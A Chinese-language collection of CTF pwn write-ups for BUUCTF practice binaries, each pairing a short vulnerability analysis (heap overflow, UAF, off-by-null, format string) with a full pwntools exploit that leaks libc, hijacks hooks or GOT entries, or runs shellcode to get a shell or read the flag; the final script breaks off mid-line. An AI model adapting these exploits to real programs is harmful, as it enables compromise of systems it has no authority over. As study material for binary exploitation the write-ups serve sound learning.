bcloud_bctf_2016
32位,ida打开,菜单堆题,只有增加删除修改功能,在选择功能之前会让我们输入名字,且会把我们输入的名字打印出来,这里写满的话会把第一个堆块的指针地址泄露出来(尝试),
下图通过strcpy可以造成堆溢出,我们用来修改topchunk的size进行house of force
p.sendafter("your name:\n",b'a'*0x40) p.recvuntil(b'a'*0x40) heap=u32(p.recv(4)) p.sendafter("Org:\n",b'a'*0x40) p.sendlineafter("Host:\n",p32(0xffffffff))
如上图我们可以已经把topchunksize改了
top=heap+0xd0 chunkptr=0x804B120 create(chunkptr-top-0x20,b'a'*4) create(0x20,b'a'*0x14+p32(elf.got['free'])) #chunk 1 edit(1,p32(elf.plt['puts']))
可以看到成功修改,接下来就是泄露libc基地址,取得shell
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./bcloud_bctf_2016" p=process(pwn) #p=remote("node5.buuoj.cn",25087) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter("content:\n",str(size)) p.sendlineafter("content:\n",context) def edit(index,context): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("the id:\n",str(index)) p.sendlineafter("new content:\n",context) def delete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("the id:\n",str(index)) p.sendafter("your name:\n",b'a'*0x40) p.recvuntil(b'a'*0x40) heap=u32(p.recv(4)) p.sendafter("Org:\n",b'a'*0x40) p.sendlineafter("Host:\n",p32(0xffffffff)) top=heap+0xd0 chunkptr=0x804B120 create(chunkptr-top-0x20,b'a'*4) create(0x20,b'a'*0x14+p32(elf.got['free'])+p32(elf.got['puts'])) #chunk 1 edit(1,p32(elf.plt['puts'])) #leak-->libcbase delete(2) puts_addr=u32(p.recv(4)) libcbase=puts_addr-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(1,p32(sys_addr)) create(0x10,b'/bin/sh\x00') delete(2) #debug() p.interactive()
sctf_2019_easy_heap
保护全开,ida打开,菜单堆题,增删改,且增不能输入内容,但是会把堆的指针存放地址打印,那就可以进行unlink,且能泄露程序基址,因为泄露的bss段的地址,根据相对偏移能计算出 程序基址,下面三张图得出fill可以进行off by null漏洞利用,且最多申请16个chunk,且chunk做了限制,libc2.27
且看下图发现该程序通过mmap函数开辟了一段可读可写可执行的地址,且会把该地址打印出来
create(0x410) #chunk 0 create(0x18) #chunk 1 create(0x28) #chunk 2 create(0x4f0) #chunk 3 create(0x10) #chunk 4 delete(0) fill(2,b'a'*0x20+p64(0x470)) delete(3) #unlink
通过fill函数的offbynull进行unlink,此时的chunk先在unsortedbin,接下来删除chunk2和chunk1,将
delete(1) delete(2) create(0x430) #chunk 0 通过overlap chunk 将unsorted bin chunk 的fd覆盖chunk2 的fd
create(0x520) #chunk 1 fill(0,b'a'*0x410+p64(0)+p64(0x20)+p64(mmap)+p64(0)) fill(1,b'\x30'+b'\n')
将mmap和__malloc_hook接入链表,后再申请出来,修改内容
强网杯2019 拟态 STKOF
asis2016_b00ks
FULL RELRO全开,NX,PIE开了,ida打开看看,先会让我们输入名字大小为0x20的数据,根据下图知道偏移在bss段的0x202040
主函数如下图
create函数,先输入书本名,再输入书本内容,这里说的书名限制在0x20大小,但是没有实际代码约束,
下面这张图的v3是重点,结合4的printf函数能够把堆块地址泄露,泄露的还是v3 malloc出来的fd地址处
p.sendlineafter("name: ",b'a'*0x20)
create(0xd0,b'dddd',0x20,b'cccc')
create(0x21000,b'a'*4,0x21000,b'eeee')
show()
p.recvuntil(b'a'*0x20)
chunk=u64(p.recv(6).ljust(8,b'\x00'))
chunk2=chunk+0x30
如上图所示,先发送大小为0x20的a将作者名字填满,造成by null,使printf把第一个堆块的id chunk的地址泄露出来,同时malloc一个0xd0大小name chunk1,和一个0x20大小descr chunk 1,chunk2 malloc两个0x21000,就会通过mmap()分配一个很大的空间,与libc存在固定偏移,如下图所示
edit(1,p64(1)+p64(chunk2+8)+p64(chunk2+8)+p64(0x20))
change(b'a'*0x20)
show()
p.recvuntil("Name: ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x5ca010
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
onegadget=libcbase+0x4526a
edit(1,p64(free_hook)*2)
edit(2,p64(onegadget))
delete(2)
这种方法本地能打通,但是远程环境不同,打不通
方法二:
堆块地址泄露的方法不变,接下来就是利用简单的unsorted bin 的泄露libc 基地址,伪造one_gadget 在__free_hook上
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./b00ks" #p=process(pwn) #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") p=remote("node5.buuoj.cn",28784) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so") def create(size1,content1,size2,content2): p.sendlineafter("> ",b'1') p.sendlineafter("name size: ",str(size1)) p.sendlineafter("(Max 32 chars): ",content1) p.sendlineafter("size: ",str(size2)) p.sendlineafter("description: ",content2) def delete(index): p.sendlineafter("> ",b'2') p.sendlineafter(b'delete: ', str(index)) def show(): p.sendlineafter("> ",b'4') def edit(index,content): p.sendlineafter("> ",b'3') p.sendlineafter("edit: ",str(index)) p.sendlineafter("description: ",content) def change(content): p.sendlineafter("> ",b'5') p.sendlineafter("name: ",content) p.sendlineafter("name: ",b'a'*0x20) create(0xd0,b'dddd',0x20,b'cccc') #index 1 show() p.recvuntil(b'a'*0x20) heap=u64(p.recv(6).ljust(8,b'\x00')) print(hex(heap)) create(0x80,b'ffff',0x60,b'rrrr') #index 2 create(0x10,b'a',0x10,b'a') #index 3 delete(2) edit(1,p64(1)+p64(heap+0x30)+p64(heap-0x30)+p64(0x20)) #name chunk->chunk 2 namechunk ; descr chunk ->chunk 1 descr chunk change(b'a'*0x20) show() p.recvuntil("Name: ") libcbase=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) ogg=libcbase+0x4526a free=libcbase+libc.sym['__free_hook'] edit(1,p64(1)+p64(heap+0x30)+p64(free)+p64(0x20)) edit(1,p64(ogg)) delete(1) p.interactive()
picoctf_2018_echooo
IDA打开
格式化字符串,flag读在栈上,动调获得偏移,%p泄露字符串的值,再把字符串倒序拼接,OK看了学长的wp,简单的多了,寄
from pwn import *
from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./PicoCTF_2018_echooo" #p=process(pwn) p=remote("node5.buuoj.cn",26810) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- payload=b'%27$p.%28$p.%29$p.%30$p.%31$p.%32$p.%33$p.%34$p.%35$p.%36$p.' p.sendlineafter("> ",payload) a=p.recvuntil(b'.')[2:-1][::-1] b=p.recvuntil(b'.')[2:-1][::-1] c=p.recvuntil(b'.')[2:-1][::-1] d=p.recvuntil(b'.')[2:-1][::-1] e=p.recvuntil(b'.')[2:-1][::-1] f=p.recvuntil(b'.')[2:-1][::-1] g=p.recvuntil(b'.')[2:-1][::-1] z=p.recvuntil(b'.')[2:-1][::-1] x=p.recvuntil(b'.')[2:-1][::-1] y=p.recvuntil(b'.')[2:-1][::-1] p.sendlineafter("> ",b'%37$p.') t=p.recvuntil(b'.')[2:7][::-1] flag='' for i in range(0,len(a),2): h=a[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(b),2): h=b[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(c),2): h=c[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(d),2): h=d[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(e),2): h=e[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(f),2): h=f[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(g),2): h=g[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(z),2): h=z[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(x),2): h=x[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(y),2): h=y[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(t),2): h=t[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) #debug()
p.interactive()
ciscn_2019_s_6
保护全开,ida打开,菜单堆题,增删查三个功能,增加功能,堆块数量最多申请12次,然后会先malloc一个0x18的chunk,该chunk的内容指针+8存放自定义大小chunk的size,该chunk内容地址存放自定义大小chunk的指针地址,然后在自定义大小的chunk里输入数据,之后在自定义chunk+12处输入电话,最后会对自定义大小堆块末尾字节置0
uaf,且释放指针也只释放自定义大小堆块的指针,两个指针都没置0
show函数,只检查自定义大小的chunk,则可以进行uaf,泄露信息
那初步思路就是直接申请一个超过tcache大小的chunk,然后free,再show,泄露libc基址,然后就是double free 修改freehook地址的值改为system地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_s_6" p=process(pwn) #p=remote("node5.buuoj.cn",25903) #elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a',call=b'a'): p.sendlineafter("choice:",str(1)) p.sendlineafter("compary's name\n",str(size)) p.sendafter("input name:\n",context) p.sendafter("call:\n",call) def delete(index): p.sendlineafter("choice:",str(3)) p.sendlineafter("index:\n",str(index)) def show(index): p.sendlineafter("choice:",str(2)) p.sendlineafter("index:\n",str(index)) create(0x410) #chunk 0 create(0x18) #chunk 1 create(0x18,b'/bin/sh\x00') #chunk 2 delete(0) show(0) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) delete(1) delete(1) create(0x18,p64(libcbase+libc.sym['__free_hook']),b'a') #chunk 3 create(0x18,p64(libcbase+libc.sym['system']),b'a') #chunk 4 delete(2) #debug() p.interactive()
linkctf_2018.7_babypie
格式化字符串漏洞泄露canary
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./babypie" p=process(pwn) #p=remote("node5.buuoj.cn",26810) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- p.sendafter("Name:\n",b'a'*0x29) p.recvuntil(b'a'*0x29) canary=u64(p.recv(7).rjust(8,b'\x00')) print(hex(canary)) p.send(b'a'*0x28+p64(canary)+b'a'*8+p8(0x42)) #debug() p.interactive()
SWPUCTF_2019_p1KkHeap
保护全开,ida打开,菜单堆题,增加功能,chunksize最大为0x100,check函数会遍历一遍chunkptr的列表,有空的则会返回该chunk的索引,全满则退出,主函数对我们进行的操作进行了限制,我们对于chunk最多能够进行12次操作,申请功能不能输入数据
show功能
删除功能,最多进行删除操作3次,存在uaf漏洞
同时存在可读可写可执行区域,且地址已知,存在沙箱,禁用了execve,只能利用orw进行读写操作
通过doublefree泄露tcache的结构体的地址,tcache attack
时 如果可以利用tcache_perthread_struct
,优先考虑利用这个结构体,可以省去很多麻烦。控制了这个结构体,相当于就控制了malloc
的分配,可以控制tcache bins
中chunk
的数量和分配地址。tcache_perthread_struct
结构体在堆上,大小一般为0x250
。它的前64个字节,分别代表0x20~0x410
大小的chunk(包括chunk头)
的数量。当超过7
的时候,再次释放的chunk
会被放入到fastbin
或者unsorted bin
。后面的内存,则分别表示0x20~0x410
大小tcache bins
的首地址。如下图所示,上面框的是chunkbin链的数量,下面的是链表
就是通过劫持tcache结构体,达到任意chunk地址分配可读写的能力,太强了,tcachebin没有对size进行检查,效率高,漏洞的利用也多
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./SWPUCTF_2019_p1KkHeap" #p=process(pwn) p=remote("node5.buuoj.cn",29153) #elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- def create(size): p.sendlineafter("Your Choice: ",str(1)) p.sendlineafter("size: ",str(size)) def delete(index): p.sendlineafter("Your Choice: ",str(4)) p.sendlineafter("id: ",str(index)) def show(index): p.sendlineafter("Your Choice: ",str(2)) p.sendlineafter("id: ",str(index)) def edit(index,context): p.sendlineafter("Your Choice: ",str(3)) p.sendlineafter("id: ",str(index)) p.sendafter("content: ",context) buf=0x66660000 create(0x100) #chunk 0 create(0x10) #chunk 1 delete(0) delete(0) show(0) p.recvuntil("content: ") tcache_struct=u64(p.recv(6).ljust(8,b'\x00'))-0x260 print(hex(tcache_struct)) create(0x100) #chunk 2 edit(2,p64(tcache_struct+0x10)) create(0x100) #chunk 3 create(0x100) #chunk 4 edit(4,b'\x07'*0x40+p64(0)*4+p64(buf)) delete(3) show(3) p.recvuntil("content: ") malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10 libcbase=malloc-libc.sym['__malloc_hook'] print(hex(libcbase)) create(0x50) #chunk 5 shellcode=asm(shellcraft.open('/flag')+shellcraft.read(3,buf+0x100,0x40)+shellcraft.write(1,buf+0x100,0x40)) edit(5,shellcode) edit(4,b'\x01'*8+p64(0)*8+p64(malloc)) create(0x20) #chunk 6 edit(6,p64(buf)) create(0x20) #debug() p.interactive()
roarctf_2019_realloc_magic
保护全开,ida打开,菜单堆题,申请删除,还有一个chunk指针清空的操作,申请chunk采用realloc来为chunk分配大小,该功能能够重复利用,重复改变chunk的大小,但是只能申请有且只有一个chunk
realloc函数功能比malloc更加复杂,与malloc也有一定的区分。
①当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
②当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
③当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
④当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针
删除操作存在uaf
还有一个将指针清空的操作,但是只能进行一次
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./roarctf_2019_realloc_magic" #p=process(pwn) p=remote("node5.buuoj.cn",28789) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def realloc(size,context): p.sendlineafter(">> ",str(1)) p.sendlineafter("Size?\n",str(size)) p.sendafter("Content?\n",context) def delete(): p.sendlineafter(">> ",str(2)) def ba(): p.sendlineafter(">> ",str(666)) def pwn(): realloc(0x30,b'a') realloc(0,b'') realloc(0x80,b'a') realloc(0,b'') realloc(0x10,b'a') realloc(0,b'') realloc(0x80,b'a') for i in range(7): delete() realloc(0,b'') realloc(0x30,b'a') payload=p64(0)*7+p64(0x51)+p8(0x60)+p8(0xe7) realloc(0x50,payload) realloc(0,b'') realloc(0x80,b'a') realloc(0,b'') payload=p64(0xfbad1887)+p64(0)*3+p64(0x58) realloc(0x80,payload) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps'] print(hex(libcbase)) ba() realloc(0x20,b'a') realloc(0,b'') realloc(0x90,b'a') realloc(0,b'') realloc(0x10,b'a') realloc(0,b'') realloc(0x90,b'a') for i in range(7): delete() realloc(0,b'') free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] realloc(0x20,b'a') payload=p64(0)*5+p64(0x51)+p64(free_hook-8) realloc(0x40,payload) realloc(0,b'') realloc(0x90,b'a') realloc(0,b'') realloc(0x90,b'/bin/sh\x00'+p64(sys_addr)) delete() #debug() p.interactive() pwn()
SWPUCTF_2019_login
格式化字符串漏洞,但是读入的是bss段上,则不能自定义栈上的参数,但是通过函数嵌套,则rbp链能够利用,无后门函数,RELRO半开,则准备修改函数printgot表的地址改为system函数地址,程序里无system,则先泄露libc
gdb动调发现有栈链,且有bss段的地址,跟printf的got地址相差一个字节,还看到栈上有libcstartmain函数的偏移地址,能够泄露libc基地址
p.sendafter("name: \n",b'a'*0xc) p.sendlineafter("password: \n",b'%15$p%10$p') p.recvuntil("password: ") libcbase=int(p.recv(10),16)-0x21519 #-libc.sym['__libc_start_call_main']-121 stack=(int(p.recv(10),16)-0x20+0xc)&0xff sys_addr=libcbase+libc.sym['system'] print(hex(libcbase)) print(hex(sys_addr)) print(hex(stack)) p.sendafter("again!\n",b'%'+str(stack).encode()+b'c%6$hhn')
找对偏移,如下图已经修改了指向地址
p.sendafter("again!\n",b'%'+str(0x14).encode()+b'c%10$hhn')
但是写的时候发现要修改的值太大,则还要有一个栈地址知晓got+2的位置最好,之后就一次性进行修改,可以把0xffe880d4也改一下,借助ebp的链先指向该地址
p.sendafter("name: \n",b'a'*0xc) p.sendlineafter("password: \n",b'%15$p%10$p') p.recvuntil("password: ") libcbase=int(p.recv(10),16)-0x21519 #-libc.sym['__libc_start_call_main']-121 stack=(int(p.recv(10),16)) sys_addr=libcbase+libc.sym['system'] print(hex(libcbase)) print(hex(sys_addr)) print(hex(stack)) p.sendafter("again!\n",b'%'+str((stack-0x24)&0xff).encode()+b'c%6$hhn') p.sendafter("again!\n",b'%'+str(0x16).encode()+b'c%10$hhn') p.sendafter("again!\n",b'%'+str((stack-4)&0xff).encode()+b'c%6$hhn') p.sendafter("again!\n",b'%'+str((stack-0x14)&0xff).encode()+b'c%10$hhn') p.sendafter("again!\n",b'%'+str(0x14).encode()+b'c%13$hhn')
经过一番艰难的调试n次之后,终于改完了(我太菜了)
a=(sys_addr>>16)&0xff b=(sys_addr)&0xffff p.sendafter("again!\n",b'%'+str(a).encode()+b'c%5$hhn'+b'%'+str(b-a).encode()+b'c%9$hn') p.sendafter("again!\n",b'/bin/sh\x00')
Ok,远程的时候发现了,libc版本没换,本地是能直接通的,结果不同libc,栈的结构不一样,从头来,真好,其实参数都有,但是在动调的时候发现第二个地址0x804b014末尾地址会又变成0x80,本地都打不通了,那就试试另一种方法把,修改返回地址为system,因为libc基地址是知道的,那就这样做吧,结果本地打不通,远程却可以,真有点玄学了,本来远程打不通就要去修改main函数的返回地址了,因为上面那种方法的原因是bss段的地址老是修复?但是下面的方法binsh的地址也覆盖到了该bss段的数据地址,但是远程可以通,毁灭吧
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./SWPUCTF_2019_login" #p=process(pwn) p=remote("node5.buuoj.cn",25587) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so") #--------------------------------------------------------------------------------------------------- p.sendafter("name: \n",b'a'*0xc) p.sendlineafter("password: \n",b'%15$p%10$p') p.recvuntil("password: ") libcbase=int(p.recv(10),16)-libc.sym['__libc_start_main']-0xf1 stack=(int(p.recv(10),16)) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) print(hex(libcbase)) print(hex(stack)) print(hex(sys_addr)) print(hex(bin_sh)) #ret--->system for i in range(4): p.sendafter("again!\n",b'%'+str((stack-0x1c+i)&0xff).encode()+b'c%6$hhn') p.sendafter("again!\n",b'%'+str((sys_addr>>8*i)&0xff).encode()+b'c%10$hhn') #bin_sh for i in range(4): p.sendafter("again!\n",b'%'+str((stack-0x14+i)&0xff).encode()+b'c%6$hhn') p.sendafter("again!\n",b'%'+str((bin_sh>>8*i)&0xff).encode()+b'c%10$hhn') #debug() p.sendafter("again!\n",b'wllmmllw') p.interactive()
de1ctf_2019_weapon
保护全开,ida打开,菜单堆题,创建自定义chunk,且范围为0~0x60大小的,且无读内容的溢出漏洞,还能选择chunk的索引,泪目了,且没有对索引进行检查,可以弄堆块覆盖
存在uaf
edit功能看不出些什么,就是读内容没有进行\x00截断,但是也没有show功能的函数
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./de1ctf_2019_weapon" p=process(pwn) #p=remote("node5.buuoj.cn",27644) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,index,name=b'a'): p.sendlineafter("choice >> ",str(1)) p.sendlineafter("weapon: ",str(size)) p.sendlineafter("index: ",str(index)) p.sendafter("name:\n",name) def delete(index): p.sendlineafter("choice >> ",str(2)) p.sendlineafter("input idx :",str(index)) def edit(index,context): p.sendlineafter("choice >> ",str(3)) p.sendlineafter("input idx: ",str(index)) p.sendafter("new content:\n",context) def pwn(): create(0x50,0) create(0x50,1) create(0x60,2) create(0x50,3) create(0x10,4) edit(0,b'a'*0x40+p64(0)+p64(0x61)) #fake size delete(0) #fastbindup delete(1) delete(0) #double edit(0,p8(0x50)) #edit fd create(0x50,5) create(0x50,6,p64(0)+p64(0x131)) #fake size delete(2) delete(1) #unsorted bin -->libcbase create(0x50,7) create(0x50,8,p8(0xdd)+p8(0xd5)) edit(1,b'a'*0x40+p64(0)+p64(0x61)) delete(0) delete(1) delete(0) edit(0,p8(0xb0)) create(0x50,9) create(0x50,10,p64(0)+p64(0x71)) create(0x60,11) payload=b'a'*0x33+p64(0xfbad1887)+p64(0)*3+p8(0xa0)+p8(0xd2) create(0x60,12,payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook'] sleep(1) fakechunk=libc_base+libc.sym['__malloc_hook']-0x23 one_gadget=libc_base+0xf147 create(0x60,13,b'a') delete(13) create(0x60,14) create(0x60,15,b'a'*0x13+p64(one_gadget)) p.sendlineafter("choice >> ",str(1)) p.sendlineafter("weapon: ",str(1)) p.sendlineafter("index: ",str(1)) p.interactive() while(1): try: p=remote("node5.buuoj.cn", 29141) pwn() except: p.close() #debug() p.interactive()
qctf_2018_stack2
跟上一页一道题一样
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./stack2" #p=process(pwn) p=remote("node5.buuoj.cn",25087) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so") #--------------------------------------------------------------------------------------------------- p.sendlineafter("have:",str(1)) p.sendlineafter("numbers\n",str(1)) backdoor=0x804859B for i in range(4): p.sendlineafter("5. exit",str(3)) p.sendlineafter("change:\n",str(0x84+i)) p.sendlineafter("number:\n",str(backdoor>>8*i)) #debug() p.sendlineafter("5. exit",str(5)) p.interactive()
hitcontraining_playfmt
有可读可写可执行的段,先想到的肯定是写shellcode,函数嵌套,有点像之前的一道题,但是这个可以多种解法吧,既可以直接修改返回地址到system函数,又可以直接将栈上写出shellcode再执行,但是这个方法更加麻烦
动调发现ebp链,又有格式化字符串漏洞,则进行任意地址写
下面exp本地包能通的,远程通不了,老是说超时,决定用另外一种方法了,只能是写shellcode,这样不用进行libc基地址找函数偏移了,应该时间少点
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./playfmt" p=process(pwn) #p=remote("node5.buuoj.cn",27652) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so") #--------------------------------------------------------------------------------------------------- #debug('b *0x8048515') p.send(b'%6$p.%15$p.') stack=int(p.recvuntil(b'.')[-11:-1],16) libcbase=int(p.recvuntil(b'.')[-11:-1],16)-247-libc.sym['__libc_start_main'] sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) #retaddr-->system for i in range(4): p.sendline(b'%'+str((stack-0xc+i)&0xff).encode()+b'c%6$hhn') p.sendline(b'%'+str((sys_addr>>8*i)&0xff).encode()+b'c%10$hhn') #retaddr+8---->bin_sh for i in range(4): p.sendline(b'%'+str((stack-4+i)&0xff).encode()+b'c%6$hhn') p.sendline(b'%'+str((bin_sh>>8*i)&0xff).encode()+b'c%10$hhn') p.sendline(b'quit') p.interactive()
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./playfmt"
#p=process(pwn)
p=remote("node5.buuoj.cn",27652)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so"
#---------------------------------------------------------------------------------------------------
#debug('b *0x8048515')
payload=b'%6$p.'
buf=0x804A060
p.sendline(payload.ljust(0x20,b'\x00')+asm(shellcraft.sh()))
stack=int(p.recvuntil(b'.')[-11:-1],16)
ret=stack-0x28
# ret -> shellcode_addr
shellcode_addr = buf + 0x5
payload = b'%' + str((ret + 0x1c) & 0xff).encode() + b'c%6$hhn'
p.sendline(payload)
payload = b'%' + str(shellcode_addr & 0xffff).encode() + b'c%10$hn'
p.sendline(payload)
# pwn
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.send(b'quit\x00' + asm(shellcraft.sh()))
p.interactive()
ciscn_2019_n_7
保护全开,ida打开,菜单堆题,且在进入菜单之前会先mallo一个0x18大小的 chunk,ptr放在了bss段,创建堆块貌似只能创建一个,发送666 能泄露libc基址无free功能
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_n_7" #p=process(pwn) p=remote("node5.buuoj.cn","26961") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(size,name): p.sendlineafter("Your choice-> \n",str(1)) p.sendlineafter("Length: \n",str(size)) p.sendafter("name:\n",name) def edit(name,context): p.sendlineafter("Your choice-> \n",str(2)) p.sendafter("name:\n",name) p.sendafter("contents:\n",context) def show(): p.sendlineafter("Your choice-> \n",str(2)) p.sendlineafter("Your choice-> \n",str(666)) libcbase=int(p.recv(14),16)-libc.sym['puts'] print(hex(libcbase)) exit_hook=libcbase+0x5f0040+3848 one=libcbase+0xf1147 create(0x20,b'a'*8+p64(exit_hook)) edit(b'a'*8,p64(one)) p.sendlineafter("Your choice-> 